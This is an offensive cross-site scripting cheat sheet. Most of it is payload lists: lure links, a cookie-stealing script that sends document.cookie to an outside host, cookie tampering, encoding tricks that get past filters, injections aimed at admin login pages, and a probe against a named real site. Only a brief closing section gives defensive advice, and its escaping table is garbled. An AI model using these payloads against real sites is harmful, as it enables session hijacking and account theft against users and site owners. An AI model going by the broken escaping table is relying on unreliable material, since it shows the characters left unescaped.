XSS - Web App Security

Cross Site Scripting exsistance is because of the lack of filtering engines to user inputs at websites on forms.


Hackers Evil Link

[example 1] <a href="[http://< XSS -host]/xssfile?evil request">Free Laptop!</a>
[example 2] <iframe src="[http://<XSS-host]/xssfile?evil request">Free Laptop!</iframe>
[example 3] <SCRIPT>document.write("<SCRI");</SCRIPT>PT src="http://www.Site.com/xss.js"></SCRIPT>

XSS Cookie theft Javascript


http://host/a. php ?variable="><script>document.location='http://www.mysite.com/cgi-bin/cookie.cgi?
'%20+document.cookie</script>

Moding Cookies


[example 1] <script>javascript:void(document.cookie="username=Admin")</script>


How to Search for Vul Hosts


[example 1] [host]/<script>alert("XSS")</script>
[example 2] [host]/<script>alert('XSS')</script>/
[example 3] [host]/<script>alert('XSS')</script>.
[example 4] [host]/<script>alert('XSS')</script>
[example 5] [host]/\<script\>alert(\'XSS\')\<\/script\>
[example 6] [host]/perl/\<sCRIPT>alert("d")</sCRIPT>\.pl
[example 7] [host]/\<sCRIPT>alert("d")</sCRIPT>\
[example 8] [host]/<\73CRIP\T>alert("dsf")<\/\73CRIP\T>
[example 9] [host]/<\73CRIP\T>alert('dsf')<\/\73CRIP\T>
[example 10] [host]/</sCRIP/T>alert("dsf")<///sCRIP/T>
[example 11] [host]/</sCRIP/T>alert('dsf')<///sCRIP/T>

[example 1] <script>javascript:alert(documentt.cookie)</script>
[example 2] <script>javascript:alert("XSS")</script>
[example 3] "<script>alert()</script>"This Site is not Secure!


- Also use "?" post request after the host.

[example 1] [host]/?<script>alert('XSS')</script>

WebServers XSS


Many webservers have default pages to folders that will look for a file.

[example 1] [host]/[folder]/"<script%20language=vbscript>msgbox%20sadas</script>".bas
[example 2] [host]/[folder]/"<script%20language=vbscript>msgbox%20sadas</script>".asp
[example 3] [host]/[folder]/"<script%20language=vbscript>msgbox%20sadas</script>".jsp
[example 4] [host]/[folder]/"<script%20language=vbscript>msgbox%20sadas</script>".htm
[example 5] [host]/[folder]/"<script%20language=vbscript>msgbox%20sadas</script>".html
[example 6] [host]/[folder]/"<script%20language=vbscript>msgbox%20sadas</script>".[ext]


A common place for an XSS hole is inside a server default example files, such as:

[example 1] [host]/cgi/example?test=<script>alert('xss')</script>


Most common places to find XSS in are the search files of servers.

[example 1] [host]/search.php?searchstring=<script>alert('XSS')</script>
[example 2] [host]/search.php?searchstring="><script>alert('XSS')</script>
[example 3] [host]/search.php?searchstring='><script>alert('XSS')</script>

Social Engineering XSS


Using the characters instead may fool the filters and allow XSS to work.


[example 1] [host]/%3cscript%3ealert('XSS')%3c/script%3e
[example 2] [host]/%3c%53cript%3ealert('XSS')%3c/%53cript%3e
[example 3] [host]/%3c%53cript%3ealert('XSS')%3c%2f%53cript%3e
[example 4] [host]/%3cscript%3ealert('XSS')%3c/script%3e
[example 5] [host]/%3cscript%3ealert('XSS')%3c%2fscript%3e
[example 6] [host]/%3cscript%3ealert(%27XSS%27)%3c%2fscript%3e
[example 7] [host]/%3cscript%3ealert(%27XSS%27)%3c/script%3e
[example 8] [host]/%3cscript%3ealert("XSS")%3c/script%3e
[example 9] [host]/%3c%53cript%3ealert("XSS")%3c/%53cript%3e
[example 10] [host]/%3c%53cript%3ealert("XSS")%3c%2f%53cript%3e
[example 11] [host]/%3cscript%3ealert("XSS")%3c/script%3e
[example 12] [host]/%3cscript%3ealert("XSS")%3c%2fscript%3e
[example 13] [host]/%3cscript%3ealert(%34XSS%34)%3c%2fscript%3e
[example 14] [host]/%3cscript%3ealert(%34XSS%34)%3c/script%3e


- Also use "?" post request after the host.

[example 1] [host]/?%3cscript%3ealert('XSS')%3c/script%3e

100% encoded

[example 1] [host]/?%22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d
%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e
[example 2] [host]/?%27%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e
%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e
[example 3] [host]/%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%63%
6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e

Another form of encoding is: <script>alert(document.cookie)</script>

< is encoded as: <
> is encoded as: >


[example 1] %3Cscript%3Ealert(%22XSS%22)%3C/script%3E
[example 2] <script>alert("XSS")</script>
[example 3] <script>alert("XSS")</script>
[example 4] <script>alert(%34XSS%34)</script>
[example 5] <script>alert('XSS')</script>

[example 1]  www.pbs.org/search/search_results.html?q=%3Cscript%3Ealert (document.cookie)%3C/script%3E


Any of the XSS requests presented above could be used on any asp, cfm,
jsp, cgi, php or any other active html file.

[example 1] [host]/forum/post.asp?<script>alert('XSS')</script>
[example 2] [host]/forum/post.asp?%3cscript%3ealert('XSS')%3c/script%3e
[example 3] [host]/forum/post.asp?%3cscript%3ealert(%27XSS%27)%3c/script%3e
[example 4] [host]/forum/post.asp?%3cscript%3ealert(%34XSS%34)%3c/script%3e
[example 5] [host]/forum/post.asp?<script>alert("XSS")</script>


Finding errors such as inputting a string instead of a number or "\" or "/" instead of a string,
or a very long string & a very large number. All this malformed parameters can help us find
the place to inject XSS script.


Tag Closer

The "Tag Closer" method is used by inputing non-alphabetic and non-numeric chars
inside form's input text boxes. This chars could be: \,/,~,!,#,$,%,^,&,-,[,],null(char 255),.(dot)
But the chars that mostly does the job is either " or '. What we do is just insert "> or '> inside
a text box instead of our name/email/username/password and etc...


[example 1] [host]/admin/login.asp?username="><script>alert('XSS')</script>&password=1234
[example 2] [host]/admin/login.asp?username=admin&password="><script>alert('XSS')</script>
[example 3] [host]/admin.php?action=vulns_add&catid=SELECT&title=~~~~~~~~~~~&mainnews=~~~~">
< /textarea>--><script>alert('XSS')</script>
[example 4] [host]/search.php?action=soundex&firstname="><script>alert(document.cookie)</script>

[example 1] [host]/admin/login.asp?username='><script>alert('XSS')</script>&password=1234
[example 2] [host]/admin/login.asp?username=admin&password='><script>alert('XSS')</script>
[example 3] [host]/admin.php?action=vulns_add&catid=SELECT&title=~~~~~~~~~~~&mainnews=~~~~'></textarea>-->
< script>alert('XSS')</script>
[example 4] [host]/search.php?action=soundex&firstname='><script>alert(document.cookie)</script>

This mainly works on the servers root:

[example 1] [host]/?"><script>alert('XSS')</script>
[example 2] [host]/?'><script>alert('XSS')</script>
[example 3] [host]/?--><script>alert('XSS')</script>

About <plaintext>

Another trick for exploiting an XSS was found by putting a <plaintext> tag
after the xss code. Sometimes that makes it easie to exploit.

[example 1] [host]/?"><script>alert('XSS')</script><plaintext>
[example 2] [host]/?'><script>alert('XSS')</script><plaintext>
[example 3] [host]/admin/login.asp?username="><script>alert('XSS')</script><plaintext>&password=1234
[example 4] [host]/admin/login.asp?username=admin&password="><script>alert('XSS')</script><plaintext>
[example 5] [host]/forum/post.asp?<script>alert('XSS')</script><plaintext>
[example 6] [host]/forum/post.asp?%3cscript%3ealert('XSS')%3c/script%3e<plaintext>
[example 7] [host]/forum/post.asp?%3cscript%3ealert(%27XSS%27)%3c/script%3e<plaintext>
[example 8] [host]/forum/post.asp?%3cscript%3ealert(%34XSS%34)%3c/script%3e<plaintext>
[example 9] [host]/forum/post.asp?<script>alert("XSS")</script><plaintext>
[example 10] [host]/search.php?action=soundex&firstname="><script>alert(document.cookie)</script>
& lt;plaintext>

[example 1]  www.pbs.org/search/search_results.html?q=%3Cscript%3Ealert (document.cookie)%3C/script%3E
%3Cplaintext%3E

Simple Codes just incase some of them do-not seem to work:


< /title><script>alert("XSS");</script><title><plaintext>


< script>alert(document.cookie)</script><plaintext>

Security Conclusion


[Replace]

< with <
> with >
& with &
" with "e;


[Possible XSS]

<applet> <frameset> <layer> <body>
< html> <ilayer> <embed> <iframe>
< meta> <frame> <img> <object>
< script> <style>

The best protection against it is filtering and removing from recieved input any non-alphabetic and non-numeric chars
and testing to make sure that the filtering system works! "To make XSS and SQL Injections Leet you must apply Social Engineering"